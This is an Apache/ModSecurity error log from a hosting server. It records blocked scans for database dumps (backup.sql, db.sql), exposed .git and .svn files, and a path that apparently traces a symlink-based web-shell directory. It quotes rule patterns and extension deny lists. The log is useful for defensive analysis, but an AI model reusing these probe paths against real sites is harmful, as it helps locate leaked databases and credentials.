[Tue Oct 27 05:44:02.287508 2026] [security2:error] [pid 3209601:tid 3209601] [client 84.233.212.34:58859] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "col1.sherwinpinturas.com"] [uri "/backup.sql"] [unique_id "auByYgJ0bI7Z9n11TMABGwAAAAA"]
[Tue Oct 27 05:44:02.287871 2026] [security2:error] [pid 3209601:tid 3209601] [client 84.233.212.34:58859] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/backup.sql"] [unique_id "auByYgJ0bI7Z9n11TMABGwAAAAA"]
[Tue Oct 27 05:44:02.288187 2026] [security2:error] [pid 3209601:tid 3209601] [client 84.233.212.34:58859] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/backup.sql"] [unique_id "auByYgJ0bI7Z9n11TMABGwAAAAA"]
[Tue Oct 27 05:44:02.535523 2026] [security2:error] [pid 3209603:tid 3209603] [client 84.233.212.34:60138] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "col2.sherwinpinturas.com"] [uri "/backup.sql"] [unique_id "auByYj4THoroSjopRdX-6QAAAAE"]
[Tue Oct 27 05:44:02.535906 2026] [security2:error] [pid 3209603:tid 3209603] [client 84.233.212.34:60138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col2.sherwinpinturas.com"] [uri "/backup.sql"] [unique_id "auByYj4THoroSjopRdX-6QAAAAE"]
[Tue Oct 27 05:44:02.536181 2026] [security2:error] [pid 3209603:tid 3209603] [client 84.233.212.34:60138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "col2.sherwinpinturas.com"] [uri "/backup.sql"] [unique_id "auByYj4THoroSjopRdX-6QAAAAE"]
[Tue Oct 27 05:44:02.804341 2026] [security2:error] [pid 3201646:tid 3201646] [client 84.233.212.34:63876] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "col1.sherwinpinturas.com"] [uri "/config/db.sql"] [unique_id "auByYhEnDOWBtFG5jRP7NQAAAAw"]
[Tue Oct 27 05:44:02.804742 2026] [security2:error] [pid 3201646:tid 3201646] [client 84.233.212.34:63876] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/config/db.sql"] [unique_id "auByYhEnDOWBtFG5jRP7NQAAAAw"]
[Tue Oct 27 05:44:02.805024 2026] [security2:error] [pid 3201646:tid 3201646] [client 84.233.212.34:63876] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/config/db.sql"] [unique_id "auByYhEnDOWBtFG5jRP7NQAAAAw"]
[Tue Oct 27 05:44:03.121313 2026] [security2:error] [pid 3209611:tid 3209611] [client 84.233.212.34:49638] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "col2.sherwinpinturas.com"] [uri "/config/db.sql"] [unique_id "auByY5ekxYBRCO5jo1OGzgAAABA"]
[Tue Oct 27 05:44:03.121699 2026] [security2:error] [pid 3209611:tid 3209611] [client 84.233.212.34:49638] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col2.sherwinpinturas.com"] [uri "/config/db.sql"] [unique_id "auByY5ekxYBRCO5jo1OGzgAAABA"]
[Tue Oct 27 05:44:03.121971 2026] [security2:error] [pid 3209611:tid 3209611] [client 84.233.212.34:49638] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "col2.sherwinpinturas.com"] [uri "/config/db.sql"] [unique_id "auByY5ekxYBRCO5jo1OGzgAAABA"]
[Tue Oct 27 05:44:03.323603 2026] [security2:error] [pid 3209616:tid 3209616] [client 84.233.212.34:50825] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "col1.sherwinpinturas.com"] [uri "/sql/db.sql"] [unique_id "auByYxpfUBgvi1kircRTggAAABg"]
[Tue Oct 27 05:44:03.323978 2026] [security2:error] [pid 3209616:tid 3209616] [client 84.233.212.34:50825] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/sql/db.sql"] [unique_id "auByYxpfUBgvi1kircRTggAAABg"]
[Tue Oct 27 05:44:03.324245 2026] [security2:error] [pid 3209616:tid 3209616] [client 84.233.212.34:50825] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/sql/db.sql"] [unique_id "auByYxpfUBgvi1kircRTggAAABg"]
[Tue Oct 27 05:44:03.638144 2026] [security2:error] [pid 3201647:tid 3201647] [client 84.233.212.34:52061] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "col2.sherwinpinturas.com"] [uri "/sql/db.sql"] [unique_id "auByY5VvqGtwGAy54pYOmgAAAA0"]
[Tue Oct 27 05:44:03.638492 2026] [security2:error] [pid 3201647:tid 3201647] [client 84.233.212.34:52061] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col2.sherwinpinturas.com"] [uri "/sql/db.sql"] [unique_id "auByY5VvqGtwGAy54pYOmgAAAA0"]
[Tue Oct 27 05:44:03.638769 2026] [security2:error] [pid 3201647:tid 3201647] [client 84.233.212.34:52061] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "col2.sherwinpinturas.com"] [uri "/sql/db.sql"] [unique_id "auByY5VvqGtwGAy54pYOmgAAAA0"]
[Tue Oct 27 05:44:03.839358 2026] [security2:error] [pid 3201641:tid 3201641] [client 84.233.212.34:52706] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "col1.sherwinpinturas.com"] [uri "/data/dump.sql"] [unique_id "auByYx6MTIKaGGLTiEIY_QAAAAc"]
[Tue Oct 27 05:44:03.839610 2026] [security2:error] [pid 3201641:tid 3201641] [client 84.233.212.34:52706] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/data/dump.sql"] [unique_id "auByYx6MTIKaGGLTiEIY_QAAAAc"]
[Tue Oct 27 05:44:03.839875 2026] [security2:error] [pid 3201641:tid 3201641] [client 84.233.212.34:52706] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/data/dump.sql"] [unique_id "auByYx6MTIKaGGLTiEIY_QAAAAc"]
[Tue Oct 27 05:44:04.174492 2026] [security2:error] [pid 3201656:tid 3201656] [client 84.233.212.34:53418] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "col2.sherwinpinturas.com"] [uri "/data/dump.sql"] [unique_id "auByZEmqTSs7laY6jMTiIwAAABc"]
[Tue Oct 27 05:44:04.174840 2026] [security2:error] [pid 3201656:tid 3201656] [client 84.233.212.34:53418] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col2.sherwinpinturas.com"] [uri "/data/dump.sql"] [unique_id "auByZEmqTSs7laY6jMTiIwAAABc"]
[Tue Oct 27 05:44:04.175094 2026] [security2:error] [pid 3201656:tid 3201656] [client 84.233.212.34:53418] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "col2.sherwinpinturas.com"] [uri "/data/dump.sql"] [unique_id "auByZEmqTSs7laY6jMTiIwAAABc"]
[Tue Oct 27 05:44:23.767734 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 50.16.72.185:8759] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:44:26.791700 2026] [security2:error] [pid 3209604:tid 3209604] [client 43.157.53.115:59250] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/escuelas1.com/"] [unique_id "auByeq0A58tRzIL-Q2BmUwAAAAM"]
[Tue Oct 27 05:44:26.793220 2026] [authz_core:error] [pid 3209604:tid 3209604] [client 43.157.53.115:59250] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas1.com/php.ini
[Tue Oct 27 05:44:27.868446 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 35.173.18.61:23633] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:44:31.889170 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 52.71.216.196:6823] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:44:36.050435 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 52.22.87.224:3702] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:44:39.959558 2026] [core:error] [pid 3201646:tid 3201646] (13)Permission denied: [client 34.234.197.175:62241] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory0/node0/cpu1/firmware_node/eject
[Tue Oct 27 05:44:52.108003 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 44.195.50.71:36645] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:44:59.686574 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 35.169.240.53:14603] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:45:11.957083 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 23.23.137.202:50445] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:45:15.686325 2026] [security2:error] [pid 3209616:tid 3209616] [client 45.138.12.16:31006] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "auByqxpfUBgvi1kircRThQAAABg"]
[Tue Oct 27 05:45:15.686608 2026] [security2:error] [pid 3209616:tid 3209616] [client 45.138.12.16:31006] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "auByqxpfUBgvi1kircRThQAAABg"]
[Tue Oct 27 05:45:15.687046 2026] [security2:error] [pid 3209616:tid 3209616] [client 45.138.12.16:31006] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "auByqxpfUBgvi1kircRThQAAABg"]
[Tue Oct 27 05:45:15.911708 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 52.204.253.129:26147] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:45:20.035604 2026] [security2:error] [pid 3209604:tid 3209604] [client 45.138.12.16:31666] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/entries"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.svn/entries"] [unique_id "auBysK0A58tRzIL-Q2BmVQAAAAM"]
[Tue Oct 27 05:45:20.035831 2026] [security2:error] [pid 3209604:tid 3209604] [client 45.138.12.16:31666] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.svn/entries"] [unique_id "auBysK0A58tRzIL-Q2BmVQAAAAM"]
[Tue Oct 27 05:45:20.036071 2026] [security2:error] [pid 3209604:tid 3209604] [client 45.138.12.16:31666] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.svn/entries"] [unique_id "auBysK0A58tRzIL-Q2BmVQAAAAM"]
[Tue Oct 27 05:45:20.036142 2026] [security2:error] [pid 3209604:tid 3209604] [client 45.138.12.16:31666] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "64.20.54.226"] [uri "/.svn/entries"] [unique_id "auBysK0A58tRzIL-Q2BmVQAAAAM"]
[Tue Oct 27 05:45:20.036162 2026] [security2:error] [pid 3209604:tid 3209604] [client 45.138.12.16:31666] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "64.20.54.226"] [uri "/.svn/entries"] [unique_id "auBysK0A58tRzIL-Q2BmVQAAAAM"]
[Tue Oct 27 05:45:51.816003 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 34.234.206.30:3350] AH02013: coalesce failed to read from data bucket
